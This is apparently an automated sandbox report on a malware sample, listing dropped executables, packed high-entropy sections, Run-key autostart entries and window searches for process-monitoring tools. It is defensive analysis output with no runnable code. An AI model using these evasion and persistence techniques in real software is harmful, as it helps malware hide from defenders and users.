Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe	Section loaded: kernel.appcore.dll

Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\compatibility.ini

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 3016704 > 1048576

Source: file.exe

Static PE information: Raw size of rfqiwnzu is bigger than: 0x100000 < 0x2b4e00

Source:	Binary string: my_library.pdbU source: 606111e8b5.exe, 00000009.00000002.2309214794.0000000000F9C000.00000040.00000001.01000000.0000000F.sdmp, 606111e8b5.exe, 00000009.00000003.2261496330.000000000576B000.00000004.00001000.00020000.00000000.sdmp, num.exe, 0000001A.00000002.2361140547.0000000000D3C000.00000008.00000001.01000000.00000013.sdmp, 606111e8b5.exe, 0000001D.00000002.2520754609.0000000000F9C000.00000040.00000001.01000000.0000000F.sdmp, 606111e8b5.exe, 0000001D.00000003.2426511088.000000000519B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: my_library.pdb source: 606111e8b5.exe, 00000009.00000002.2309214794.0000000000F9C000.00000040.00000001.01000000.0000000F.sdmp, 606111e8b5.exe, 00000009.00000003.2261496330.000000000576B000.00000004.00001000.00020000.00000000.sdmp, num.exe, 0000001A.00000002.2361140547.0000000000D3C000.00000008.00000001.01000000.00000013.sdmp, 606111e8b5.exe, 0000001D.00000002.2520754609.0000000000F9C000.00000040.00000001.01000000.0000000F.sdmp, 606111e8b5.exe, 0000001D.00000003.2426511088.000000000519B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: GVDV7NGS54W9A7T64.exe, 00000004.00000003.2038530305.00000000047E0000.00000004.00001000.00020000.00000000.sdmp, GVDV7NGS54W9A7T64.exe, 00000004.00000002.2174629475.0000000000FD2000.00000040.00000001.01000000.00000006.sdmp, RIT5CLJSOG1HZLWAHXIC60.exe, 0000001F.00000003.2466004601.0000000004890000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Unpacked PE file: 4.2.GVDV7NGS54W9A7T64.exe.fd0000.0.unpack :EW;.rsrc:W;.idata :W;fbnfxrsu:EW;rjcetyim:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Unpacked PE file: 5.2.AJK1SC9862O5LRO4.exe.da0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;baulhwjg:EW;nnowpgbr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;baulhwjg:EW;nnowpgbr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 7.2.skotes.exe.d20000.0.unpack :EW;.rsrc:W;.idata :W; :EW;baulhwjg:EW;nnowpgbr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;baulhwjg:EW;nnowpgbr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Unpacked PE file: 9.2.606111e8b5.exe.f70000.0.unpack :EW;.rsrc :W;.idata :W; :EW;eysgbrhc:EW;qcadwkiz:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;eysgbrhc:EW;qcadwkiz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 10.2.skotes.exe.d20000.0.unpack :EW;.rsrc:W;.idata :W; :EW;baulhwjg:EW;nnowpgbr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;baulhwjg:EW;nnowpgbr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Unpacked PE file: 29.2.606111e8b5.exe.f70000.0.unpack :EW;.rsrc :W;.idata :W; :EW;eysgbrhc:EW;qcadwkiz:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;eysgbrhc:EW;qcadwkiz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe	Unpacked PE file: 32.2.WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe.e0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;baulhwjg:EW;nnowpgbr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;baulhwjg:EW;nnowpgbr:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.6.dr	Static PE information: real checksum: 0x2e650b should be: 0x2e12ec
Source: 7f3598dc65.exe.6.dr	Static PE information: real checksum: 0x2e650b should be: 0x2e12ec
Source: 606111e8b5.exe.6.dr	Static PE information: real checksum: 0x213ba5 should be: 0x2139b7
Source: num.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0xdb9be
Source: CR7UQWGVREF7AZUSI54N0N8MGR.exe.16.dr	Static PE information: real checksum: 0x2cd5fa should be: 0x2cf7a9
Source: GVDV7NGS54W9A7T64.exe.0.dr	Static PE information: real checksum: 0x2cd5fa should be: 0x2cf7a9
Source: D0QMSIUHN1DMZFTBB2S7.exe.16.dr	Static PE information: real checksum: 0x1e3921 should be: 0x1e7b55
Source: WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe.8.dr	Static PE information: real checksum: 0x1e3921 should be: 0x1e7b55
Source: AJK1SC9862O5LRO4.exe.0.dr	Static PE information: real checksum: 0x1e3921 should be: 0x1e7b55
Source: skotes.exe.5.dr	Static PE information: real checksum: 0x1e3921 should be: 0x1e7b55
Source: RIT5CLJSOG1HZLWAHXIC60.exe.8.dr	Static PE information: real checksum: 0x2cd5fa should be: 0x2cf7a9
Source: file.exe	Static PE information: real checksum: 0x2e650b should be: 0x2e12ec
Source: random[1].exe0.6.dr	Static PE information: real checksum: 0x213ba5 should be: 0x2139b7
Source: num[1].exe.6.dr	Static PE information: real checksum: 0x0 should be: 0xdb9be

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: rfqiwnzu
Source: file.exe	Static PE information: section name: lwhxfubc
Source: file.exe	Static PE information: section name: .taggant
Source: GVDV7NGS54W9A7T64.exe.0.dr	Static PE information: section name:
Source: GVDV7NGS54W9A7T64.exe.0.dr	Static PE information: section name: .idata
Source: GVDV7NGS54W9A7T64.exe.0.dr	Static PE information: section name: fbnfxrsu
Source: GVDV7NGS54W9A7T64.exe.0.dr	Static PE information: section name: rjcetyim
Source: GVDV7NGS54W9A7T64.exe.0.dr	Static PE information: section name: .taggant
Source: AJK1SC9862O5LRO4.exe.0.dr	Static PE information: section name:
Source: AJK1SC9862O5LRO4.exe.0.dr	Static PE information: section name: .idata
Source: AJK1SC9862O5LRO4.exe.0.dr	Static PE information: section name:
Source: AJK1SC9862O5LRO4.exe.0.dr	Static PE information: section name: baulhwjg
Source: AJK1SC9862O5LRO4.exe.0.dr	Static PE information: section name: nnowpgbr
Source: AJK1SC9862O5LRO4.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.5.dr	Static PE information: section name:
Source: skotes.exe.5.dr	Static PE information: section name: .idata
Source: skotes.exe.5.dr	Static PE information: section name:
Source: skotes.exe.5.dr	Static PE information: section name: baulhwjg
Source: skotes.exe.5.dr	Static PE information: section name: nnowpgbr
Source: skotes.exe.5.dr	Static PE information: section name: .taggant
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name: rfqiwnzu
Source: random[1].exe.6.dr	Static PE information: section name: lwhxfubc
Source: random[1].exe.6.dr	Static PE information: section name: .taggant
Source: 7f3598dc65.exe.6.dr	Static PE information: section name:
Source: 7f3598dc65.exe.6.dr	Static PE information: section name: .idata
Source: 7f3598dc65.exe.6.dr	Static PE information: section name: rfqiwnzu
Source: 7f3598dc65.exe.6.dr	Static PE information: section name: lwhxfubc
Source: 7f3598dc65.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: eysgbrhc
Source: random[1].exe0.6.dr	Static PE information: section name: qcadwkiz
Source: random[1].exe0.6.dr	Static PE information: section name: .taggant
Source: 606111e8b5.exe.6.dr	Static PE information: section name:
Source: 606111e8b5.exe.6.dr	Static PE information: section name: .rsrc
Source: 606111e8b5.exe.6.dr	Static PE information: section name: .idata
Source: 606111e8b5.exe.6.dr	Static PE information: section name:
Source: 606111e8b5.exe.6.dr	Static PE information: section name: eysgbrhc
Source: 606111e8b5.exe.6.dr	Static PE information: section name: qcadwkiz
Source: 606111e8b5.exe.6.dr	Static PE information: section name: .taggant
Source: RIT5CLJSOG1HZLWAHXIC60.exe.8.dr	Static PE information: section name:
Source: RIT5CLJSOG1HZLWAHXIC60.exe.8.dr	Static PE information: section name: .idata
Source: RIT5CLJSOG1HZLWAHXIC60.exe.8.dr	Static PE information: section name: fbnfxrsu
Source: RIT5CLJSOG1HZLWAHXIC60.exe.8.dr	Static PE information: section name: rjcetyim
Source: RIT5CLJSOG1HZLWAHXIC60.exe.8.dr	Static PE information: section name: .taggant
Source: WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe.8.dr	Static PE information: section name:
Source: WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe.8.dr	Static PE information: section name: .idata
Source: WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe.8.dr	Static PE information: section name:
Source: WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe.8.dr	Static PE information: section name: baulhwjg
Source: WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe.8.dr	Static PE information: section name: nnowpgbr
Source: WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe.8.dr	Static PE information: section name: .taggant
Source: CR7UQWGVREF7AZUSI54N0N8MGR.exe.16.dr	Static PE information: section name:
Source: CR7UQWGVREF7AZUSI54N0N8MGR.exe.16.dr	Static PE information: section name: .idata
Source: CR7UQWGVREF7AZUSI54N0N8MGR.exe.16.dr	Static PE information: section name: fbnfxrsu
Source: CR7UQWGVREF7AZUSI54N0N8MGR.exe.16.dr	Static PE information: section name: rjcetyim
Source: CR7UQWGVREF7AZUSI54N0N8MGR.exe.16.dr	Static PE information: section name: .taggant
Source: D0QMSIUHN1DMZFTBB2S7.exe.16.dr	Static PE information: section name:
Source: D0QMSIUHN1DMZFTBB2S7.exe.16.dr	Static PE information: section name: .idata
Source: D0QMSIUHN1DMZFTBB2S7.exe.16.dr	Static PE information: section name:
Source: D0QMSIUHN1DMZFTBB2S7.exe.16.dr	Static PE information: section name: baulhwjg
Source: D0QMSIUHN1DMZFTBB2S7.exe.16.dr	Static PE information: section name: nnowpgbr
Source: D0QMSIUHN1DMZFTBB2S7.exe.16.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010DEFA4 push cs; ret	0_3_010DEFCE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010DEFA4 push cs; ret	0_3_010DEFCE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010DEFA4 push cs; ret	0_3_010DEFCE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010DEFA4 push cs; ret	0_3_010DEFCE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010DEFA4 push cs; ret	0_3_010DEFCE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010DEFA4 push cs; ret	0_3_010DEFCE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010F3330 push cs; ret	0_3_010F335A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010F3330 push cs; ret	0_3_010F335A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010F5F7A push ecx; retf	0_3_010F5FA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010F5F7A push ecx; retf	0_3_010F5FA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010F60FA push edx; retf	0_3_010F60FE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010F60FA push edx; retf	0_3_010F60FE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010F3330 push cs; ret	0_3_010F335A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010F3330 push cs; ret	0_3_010F335A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010F5F7A push ecx; retf	0_3_010F5FA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010F5F7A push ecx; retf	0_3_010F5FA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010F60FA push edx; retf	0_3_010F60FE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010F60FA push edx; retf	0_3_010F60FE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010DEFA4 push cs; ret	0_3_010DEFCE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010DEFA4 push cs; ret	0_3_010DEFCE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010DEFA4 push cs; ret	0_3_010DEFCE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010DEFA4 push cs; ret	0_3_010DEFCE
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Code function: 4_2_011694F3 push ecx; mov dword ptr [esp], 7FF74743h	4_2_01169522
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Code function: 4_2_00FDE6E5 push 2B9AFCECh; mov dword ptr [esp], edx	4_2_00FDEE2F
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Code function: 4_2_00FDE6E5 push ebp; mov dword ptr [esp], esi	4_2_00FDF2C4
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Code function: 4_2_01176F90 push eax; mov dword ptr [esp], 7B4625C4h	4_2_0117965F
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Code function: 4_2_01176FFB push 76B200ACh; mov dword ptr [esp], ebp	4_2_01177C7C
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Code function: 4_2_00FE08FC push ecx; mov dword ptr [esp], edx	4_2_00FE2336
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Code function: 4_2_00FDC0F7 push eax; mov dword ptr [esp], edi	4_2_00FDC0FE
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Code function: 4_2_0116B909 push eax; mov dword ptr [esp], 26C6BCC4h	4_2_0116BF10
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Code function: 4_2_0116C937 push edi; ret	4_2_0116C946

Source: file.exe	Static PE information: section name: entropy: 7.986258913559111
Source: GVDV7NGS54W9A7T64.exe.0.dr	Static PE information: section name: entropy: 7.7642385647424526
Source: AJK1SC9862O5LRO4.exe.0.dr	Static PE information: section name: entropy: 7.976574023811531
Source: AJK1SC9862O5LRO4.exe.0.dr	Static PE information: section name: baulhwjg entropy: 7.954109942413371
Source: skotes.exe.5.dr	Static PE information: section name: entropy: 7.976574023811531
Source: skotes.exe.5.dr	Static PE information: section name: baulhwjg entropy: 7.954109942413371
Source: random[1].exe.6.dr	Static PE information: section name: entropy: 7.986258913559111
Source: 7f3598dc65.exe.6.dr	Static PE information: section name: entropy: 7.986258913559111
Source: random[1].exe0.6.dr	Static PE information: section name: eysgbrhc entropy: 7.952388640493053
Source: 606111e8b5.exe.6.dr	Static PE information: section name: eysgbrhc entropy: 7.952388640493053
Source: RIT5CLJSOG1HZLWAHXIC60.exe.8.dr	Static PE information: section name: entropy: 7.7642385647424526
Source: WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe.8.dr	Static PE information: section name: entropy: 7.976574023811531
Source: WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe.8.dr	Static PE information: section name: baulhwjg entropy: 7.954109942413371
Source: CR7UQWGVREF7AZUSI54N0N8MGR.exe.16.dr	Static PE information: section name: entropy: 7.7642385647424526
Source: D0QMSIUHN1DMZFTBB2S7.exe.16.dr	Static PE information: section name: entropy: 7.976574023811531
Source: D0QMSIUHN1DMZFTBB2S7.exe.16.dr	Static PE information: section name: baulhwjg entropy: 7.954109942413371

Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File created: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File created: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File created: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File created: C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002608001\num.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run dd62608cd9.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 606111e8b5.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7f3598dc65.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Window searched: window name: PROCMON_WINDOW_CLASS
